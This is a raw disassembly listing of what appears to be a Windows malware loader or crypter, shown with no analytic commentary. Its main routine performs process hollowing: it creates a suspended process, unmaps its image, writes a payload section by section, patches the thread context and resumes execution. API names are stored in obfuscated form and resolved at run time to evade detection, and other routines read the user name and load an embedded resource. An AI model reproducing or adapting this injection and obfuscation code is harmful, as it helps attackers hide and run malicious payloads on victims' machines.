loc_406E3C:				; CODE XREF: sub_406DAC+2Fj
		mov	eax, esi
		call	sub_4025C8


loc_406E43:				; CODE XREF: sub_406DAC+8Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406E60


loc_406E50:				; CODE XREF: sub_406DAC+B2j
		lea	eax, [ebp+arg_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_406E59:				; DATA XREF: sub_406DAC+17o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_406E50
; ---------------------------------------------------------------------------


loc_406E60:				; CODE XREF: sub_406DAC+ACj
					; DATA XREF: sub_406DAC+9Fo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_406DAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E6C	proc near		; CODE XREF: CODE:00407D17p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_402A28
		xor	eax, eax
		push	ebp
		push	offset loc_406F2F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_4025C8
		mov	eax, [ebp+arg_4]
		call	sub_406DA0
		mov	[ebp+var_8], eax
		mov	ebx, 1
		cmp	ebx, [ebp+var_8]
		ja	short loc_406F11


loc_406EAF:				; CODE XREF: sub_406E6C+A3j
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx-1]
		test	al, al
		jnz	short loc_406EF2
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_406DA0
		mov	edi, eax
		xor	edx, edx
		mov	dl, [ebp+var_1]
		add	edx, edi
		mov	eax, esi
		call	sub_402BC0
		mov	eax, esi
		call	sub_402A8C
		add	eax, edi
		xor	edx, edx
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		call	sub_401964
		inc	ebx
		jmp	short loc_406F0B
; ---------------------------------------------------------------------------


loc_406EF2:				; CODE XREF: sub_406E6C+4Cj
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx+ebx-1]
		call	sub_40278C
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_402848


loc_406F0B:				; CODE XREF: sub_406E6C+84j
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_406EAF


loc_406F11:				; CODE XREF: sub_406E6C+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406F36


loc_406F1E:				; CODE XREF: sub_406E6C+C8j
		lea	eax, [ebp+var_C]
		call	sub_4025C8
		lea	eax, [ebp+arg_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_406F2F:				; DATA XREF: sub_406E6C+1Co
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_406F1E
; ---------------------------------------------------------------------------


loc_406F36:				; CODE XREF: sub_406E6C+C2j
					; DATA XREF: sub_406E6C+ADo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_406E6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406F40	proc near		; DATA XREF: CODE:00407B64o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_406F65
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A7D0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406F6C


loc_406F64:				; CODE XREF: sub_406F40+2Aj
		retn
; ---------------------------------------------------------------------------


loc_406F65:				; DATA XREF: sub_406F40+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_406F64
; ---------------------------------------------------------------------------


loc_406F6C:				; CODE XREF: sub_406F40:loc_406F64j
					; DATA XREF: sub_406F40+1Fo
		pop	ebp
		retn
sub_406F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406F70	proc near		; DATA XREF: CODE:00407B60o
		sub	ds:dword_40A7D0, 1
		retn
sub_406F70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406F78	proc near		; CODE XREF: sub_4070E0+35Ap
		jmp	ds:dword_40B220
sub_406F78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406F80	proc near		; CODE XREF: sub_4070E0+28Ap
		jmp	ds:dword_40B218
sub_406F80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_406F88	proc near		; CODE XREF: CODE:loc_407F33p
		push	ebx
		xor	ebx, ebx
		mov	eax, offset aAddFileLocatio ; "add file	location"
		call	sub_404488
		test	al, al
		jz	short loc_406F9B
		mov	bl, 1


loc_406F9B:				; CODE XREF: sub_406F88+Fj
		mov	eax, ebx
		pop	ebx
		retn
sub_406F88	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 11h
aAddFileLocatio	db 'add file location',0 ; DATA XREF: sub_406F88+3o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FBC	proc near		; CODE XREF: CODE:00407F46p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_407029
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_8], 0FDh
		lea	eax, [ebp+var_4]
		mov	edx, 0FEh
		call	sub_402BC0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_402A38
		push	eax
		call	sub_4035D8	; GetUserNameA
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		call	sub_402BC0
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_40261C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407030


loc_407020:				; CODE XREF: sub_406FBC+72j
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_407029:				; DATA XREF: sub_406FBC+11o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_407020
; ---------------------------------------------------------------------------


loc_407030:				; CODE XREF: sub_406FBC+6Cj
					; DATA XREF: sub_406FBC+5Fo
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_406FBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407038	proc near		; CODE XREF: sub_4070E0+83p
					; sub_4070E0+AAp ...

var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_C], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402A28
		xor	eax, eax
		push	ebp
		push	offset loc_4070B8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_402840
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40709A
		mov	edi, 1


loc_407074:				; CODE XREF: sub_407038+60j
		mov	eax, [ebp+var_4]
		mov	al, [eax+edi-1]
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_C]
		mov	dl, [ebp+var_5]
		sub	dl, 31h
		call	sub_40278C
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_402848
		inc	edi
		dec	ebx
		jnz	short loc_407074


loc_40709A:				; CODE XREF: sub_407038+35j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4070BF


loc_4070A7:				; CODE XREF: sub_407038+85j
		lea	eax, [ebp+var_C]
		call	sub_4025C8
		lea	eax, [ebp+var_4]
		call	sub_4025C8
		retn
; ---------------------------------------------------------------------------


loc_4070B8:				; DATA XREF: sub_407038+1Eo
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4070A7
; ---------------------------------------------------------------------------


loc_4070BF:				; CODE XREF: sub_407038+7Fj
					; DATA XREF: sub_407038+6Ao
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407038	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4070C8	proc near		; CODE XREF: sub_4070E0+2FBp
		lea	edx, [eax+18h]
		movzx	eax, word ptr [eax+14h]
		add	edx, eax
		mov	eax, edx
		retn
sub_4070C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070D4	proc near		; CODE XREF: sub_4070E0+343p
		shr	eax, 1Dh
		mov	eax, ds:dword_409298[eax*4]
		retn
sub_4070D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070E0	proc near		; CODE XREF: CODE:00407F7Ep

var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_174		= dword	ptr -174h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_C0		= dword	ptr -0C0h
var_B4		= dword	ptr -0B4h
var_98		= dword	ptr -98h
var_68		= word ptr -68h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE78h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_188], ebx
		mov	[ebp+var_184], ebx
		mov	[ebp+var_180], ebx
		mov	[ebp+var_17C], ebx
		mov	[ebp+var_178], ebx
		mov	[ebp+var_174], ebx
		mov	[ebp+var_170], ebx
		mov	[ebp+var_16C], ebx
		mov	[ebp+var_168], ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_402A28
		mov	eax, [ebp+var_C]
		call	sub_402A28
		xor	eax, eax
		push	ebp
		push	offset loc_4074EE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	offset dword_407500
		call	sub_403678	; LoadLibraryA
		mov	[ebp+var_40], eax
		lea	edx, [ebp+var_168]
		mov	eax, offset dword_407518
		call	sub_407038
		mov	eax, [ebp+var_168]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	sub_403650	; GetProcAddress
		mov	ebx, eax
		lea	edx, [ebp+var_16C]
		mov	eax, offset dword_407530
		call	sub_407038
		mov	eax, [ebp+var_16C]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	[ebp+var_3C], eax
		lea	edx, [ebp+var_170]
		mov	eax, offset dword_407544
		call	sub_407038
		mov	eax, [ebp+var_170]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	esi, eax
		lea	edx, [ebp+var_174]
		mov	eax, offset aXceesgctxtaqec ; "x–¥…™£–’•t Ÿ¥–©¥"
		call	sub_407038
		mov	eax, [ebp+var_174]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	edi, eax
		lea	edx, [ebp+var_178]
		mov	eax, offset aGctxbgafcddCua ; "ƒ–’•£ ”–¤¤~–ž £ª"
		call	sub_407038
		mov	eax, [ebp+var_178]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	[ebp+var_28], eax
		lea	edx, [ebp+var_17C]
		mov	eax, offset dword_407594
		call	sub_407038
		mov	eax, [ebp+var_17C]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	[ebp+var_2C], eax
		lea	edx, [ebp+var_180]
		mov	eax, offset aIgEcbgafcddCua ; "ˆ£š¥–£ ”–¤¤~–ž £ª"
		call	sub_407038
		mov	eax, [ebp+var_180]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	[ebp+var_30], eax
		lea	edx, [ebp+var_184]
		mov	eax, offset aDceesgctxtaqec ; "„–¥…™£–’•t Ÿ¥–©¥"
		call	sub_407038
		mov	eax, [ebp+var_184]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	[ebp+var_34], eax
		lea	edx, [ebp+var_188]
		mov	eax, offset dword_4075E4
		call	sub_407038
		mov	eax, [ebp+var_188]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_40]
		push	eax
		call	ebx
		mov	[ebp+var_38], eax
		xor	ebx, ebx
		lea	eax, [ebp+var_54]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_401964
		lea	eax, [ebp+var_98]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_401964
		mov	[ebp+var_98], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_68], ax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_402A38
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_402A38
		push	eax
		call	esi
		test	eax, eax
		jz	loc_4074C3
		mov	[ebp+var_21], 1
		xor	eax, eax
		push	ebp
		push	offset loc_4074B5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_164], 10002h
		lea	eax, [ebp+var_164]
		push	eax
		mov	eax, [ebp+var_50]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40748A
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C0]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_54]
		push	eax
		call	[ebp+var_28]
		test	eax, eax
		jz	loc_40748A
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_54]
		push	eax
		call	sub_406F80	; ZwUnmapViewOfSection
		test	eax, eax
		jl	loc_40748A
		cmp	[ebp+var_4], 0
		jz	loc_40748A
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_20]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_54]
		push	eax
		call	[ebp+var_2C]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40748A
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_54]
		push	eax
		call	[ebp+var_30]
		test	eax, eax
		jz	loc_40748A
		mov	eax, [ebp+var_20]
		call	sub_4070C8
		mov	esi, eax
		mov	eax, [ebp+var_20]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	short loc_407445
		inc	eax
		mov	[ebp+var_44], eax
		xor	ebx, ebx


loc_4073F4:				; CODE XREF: sub_4070E0+363j
		lea	eax, [ebp+var_18]
		push	eax
		lea	edi, [ebx+ebx*4]
		mov	eax, [esi+edi*8+10h]
		push	eax
		mov	eax, [esi+edi*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_54]
		push	eax
		call	[ebp+var_30]
		test	eax, eax
		jz	short loc_40743F
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [esi+edi*8+24h]
		call	sub_4070D4
		push	eax
		mov	eax, [esi+edi*8+8]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_54]
		push	eax
		call	sub_406F78	; VirtualProtectEx


loc_40743F:				; CODE XREF: sub_4070E0+339j
		inc	ebx
		dec	[ebp+var_44]
		jnz	short loc_4073F4


loc_407445:				; CODE XREF: sub_4070E0+30Cj
		lea	eax, [ebp+var_18]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C0]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_54]
		push	eax
		call	[ebp+var_30]
		test	eax, eax
		jz	short loc_40748A
		mov	eax, [ebp+var_20]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_10]
		mov	[ebp+var_B4], eax
		lea	eax, [ebp+var_164]
		push	eax
		mov	eax, [ebp+var_50]
		push	eax
		call	[ebp+var_34]
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_21], al


loc_40748A:				; CODE XREF: sub_4070E0+259j
					; sub_4070E0+27Cj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4074BC


loc_407497:				; CODE XREF: sub_4070E0+3DAj
		cmp	[ebp+var_21], 0
		jnz	short loc_4074AA
		push	0
		mov	eax, [ebp+var_54]
		push	eax
		call	sub_403680	; TerminateProcess
		jmp	short loc_4074B1
; ---------------------------------------------------------------------------


loc_4074AA:				; CODE XREF: sub_4070E0+3BBj
		mov	eax, [ebp+var_50]
		push	eax
		call	[ebp+var_38]


loc_4074B1:				; CODE XREF: sub_4070E0+3C8j
		mov	bl, [ebp+var_21]
		retn
; ---------------------------------------------------------------------------


loc_4074B5:				; DATA XREF: sub_4070E0+235o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_407497
; ---------------------------------------------------------------------------


loc_4074BC:				; DATA XREF: sub_4070E0+3B2o
		mov	eax, [ebp+var_40]
		push	eax
		call	[ebp+var_3C]


loc_4074C3:				; CODE XREF: sub_4070E0+228j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4074F5


loc_4074D0:				; CODE XREF: sub_4070E0+413j
		lea	eax, [ebp+var_188]
		mov	edx, 9
		call	sub_4025EC
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_4074EE:				; DATA XREF: sub_4070E0+60o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4074D0
; ---------------------------------------------------------------------------


loc_4074F5:				; CODE XREF: sub_4070E0+40Dj
					; DATA XREF: sub_4070E0+3EBo
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4070E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_407500	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0		dd 0FFFFFFFFh, 0Eh
dword_407518	dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh
					; DATA XREF: sub_4070E0+7Eo
		dd 0Bh
dword_407530	dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh,	0Eh
					; DATA XREF: sub_4070E0+A5o
dword_407544	dd 9296A374h, 0A38196A5h, 0A49694A0h, 72A4h, 0FFFFFFFFh
					; DATA XREF: sub_4070E0+CAo
		dd 10h
aXceesgctxtaqec	db 'x–¥…™£–’•t Ÿ¥–©¥',0 ; DATA XREF: sub_4070E0+EEo
		align 10h
		dd 0FFFFFFFFh, 11h
aGctxbgafcddCua	db 'ƒ–’•£ ”–¤¤~–ž £ª',0 ; DATA XREF: sub_4070E0+112o
		align 4
		dd 0FFFFFFFFh, 0Eh
dword_407594	dd 0A5A39A87h, 729D92A6h, 94A09D9Dh, 0A976h, 0FFFFFFFFh
					; DATA XREF: sub_4070E0+137o
		dd 12h
aIgEcbgafcddCua	db 'ˆ£š¥–£ ”–¤¤~–ž £ª',0 ; DATA XREF: sub_4070E0+15Co
		align 10h
		dd 0FFFFFFFFh, 10h
aDceesgctxtaqec	db '„–¥…™£–’•t Ÿ¥–©¥',0 ; DATA XREF: sub_4070E0+181o
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_4075E4	dd 0A6A49683h, 9985969Eh, 959296A3h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075F4	proc near		; CODE XREF: CODE:00407E47p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_18], edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4076B6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	offset dword_4076C8
		call	sub_403678	; LoadLibraryA
		mov	ebx, eax
		lea	edx, [ebp+var_10]
		mov	eax, offset dword_4076E0
		call	sub_407038
		mov	eax, [ebp+var_10]
		call	sub_402A38
		push	eax
		push	ebx
		call	sub_403650	; GetProcAddress
		mov	esi, eax
		lea	edx, [ebp+var_14]
		mov	eax, offset aXcewAcreegUjec ; "x–¥wš–r¥¥£š“¦¥–¤r"
		call	sub_407038
		mov	eax, [ebp+var_14]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	edi, eax
		lea	edx, [ebp+var_18]
		mov	eax, offset dword_407714
		call	sub_407038
		mov	eax, [ebp+var_18]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		call	sub_402A38
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40768E
		test	al, 10h
		jnz	short loc_407692


loc_40768E:				; CODE XREF: sub_4075F4+94j
		xor	eax, eax
		jmp	short loc_407694
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_4075F4+98j
		mov	al, 1


loc_407694:				; CODE XREF: sub_4075F4+9Cj
		mov	[ebp+var_5], al
		push	ebx
		call	[ebp+var_C]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4076BD


loc_4076A8:				; CODE XREF: sub_4075F4+C7j
		lea	eax, [ebp+var_18]
		mov	edx, 3
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_4076B6:				; DATA XREF: sub_4075F4+1Ao
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4076A8
; ---------------------------------------------------------------------------


loc_4076BD:				; CODE XREF: sub_4075F4+C1j
					; DATA XREF: sub_4075F4+AFo
		mov	al, [ebp+var_5]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4075F4	endp

; ---------------------------------------------------------------------------
		align 4
dword_4076C8	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0		dd 0FFFFFFFFh, 0Eh
dword_4076E0	dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh
					; DATA XREF: sub_4075F4+34o
		dd 12h
aXcewAcreegUjec	db 'x–¥wš–r¥¥£š“¦¥–¤r',0 ; DATA XREF: sub_4075F4+52o
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_407714	dd 9696A377h, 0A3939A7Dh, 0AAA392h
; =============== S U B	R O U T	I N E =======================================



sub_407720	proc near		; CODE XREF: CODE:00407C8Cp
					; CODE:00407E94p

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_401B14
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_401948
		mov	eax, esi
		mov	edx, esp
		call	sub_402808
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_407720	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407758	proc near		; CODE XREF: CODE:00407C4Ep
					; CODE:00407CB4p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_38], ecx
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4078B5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	offset dword_4078C8
		call	sub_403678	; LoadLibraryA
		mov	ebx, eax
		lea	edx, [ebp+var_20]
		mov	eax, offset dword_4078E0
		call	sub_407038
		mov	eax, [ebp+var_20]
		call	sub_402A38
		push	eax
		push	ebx
		call	sub_403650	; GetProcAddress
		mov	esi, eax
		lea	edx, [ebp+var_24]
		mov	eax, offset dword_4078F8
		call	sub_407038
		mov	eax, [ebp+var_24]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+var_28]
		mov	eax, offset dword_40790C
		call	sub_407038
		mov	eax, [ebp+var_28]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	edi, eax
		lea	edx, [ebp+var_2C]
		mov	eax, offset dword_407924
		call	sub_407038
		mov	eax, [ebp+var_2C]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	[ebp+var_C], eax
		lea	edx, [ebp+var_30]
		mov	eax, offset dword_40793C
		call	sub_407038
		mov	eax, [ebp+var_30]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	[ebp+var_10], eax
		lea	edx, [ebp+var_34]
		mov	eax, offset dword_407954
		call	sub_407038
		mov	eax, [ebp+var_34]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	[ebp+var_14], eax
		lea	edx, [ebp+var_38]
		mov	eax, offset dword_40796C
		call	sub_407038
		mov	eax, [ebp+var_38]
		call	sub_402A38
		push	eax
		push	ebx
		call	esi
		mov	[ebp+var_18], eax
		push	0Ah
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, ds:dword_40A694
		push	eax
		call	edi
		mov	esi, eax
		push	esi
		mov	eax, ds:dword_40A694
		push	eax
		call	[ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		push	esi
		mov	eax, ds:dword_40A694
		push	eax
		call	[ebp+var_10]
		mov	esi, eax
		push	esi
		call	[ebp+var_14]
		mov	edi, eax
		test	edi, edi
		jz	short loc_407896
		push	esi
		call	[ebp+var_18]


loc_407896:				; CODE XREF: sub_407758+138j
		push	ebx
		call	[ebp+var_1C]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4078BC


loc_4078A7:				; CODE XREF: sub_407758+162j
		lea	eax, [ebp+var_38]
		mov	edx, 7
		call	sub_4025EC
		retn
; ---------------------------------------------------------------------------


loc_4078B5:				; DATA XREF: sub_407758+29o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4078A7
; ---------------------------------------------------------------------------


loc_4078BC:				; CODE XREF: sub_407758+15Cj
					; DATA XREF: sub_407758+14Ao
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407758	endp

; ---------------------------------------------------------------------------
		align 4
dword_4078C8	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0		dd 0FFFFFFFFh, 0Eh
dword_4078E0	dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh
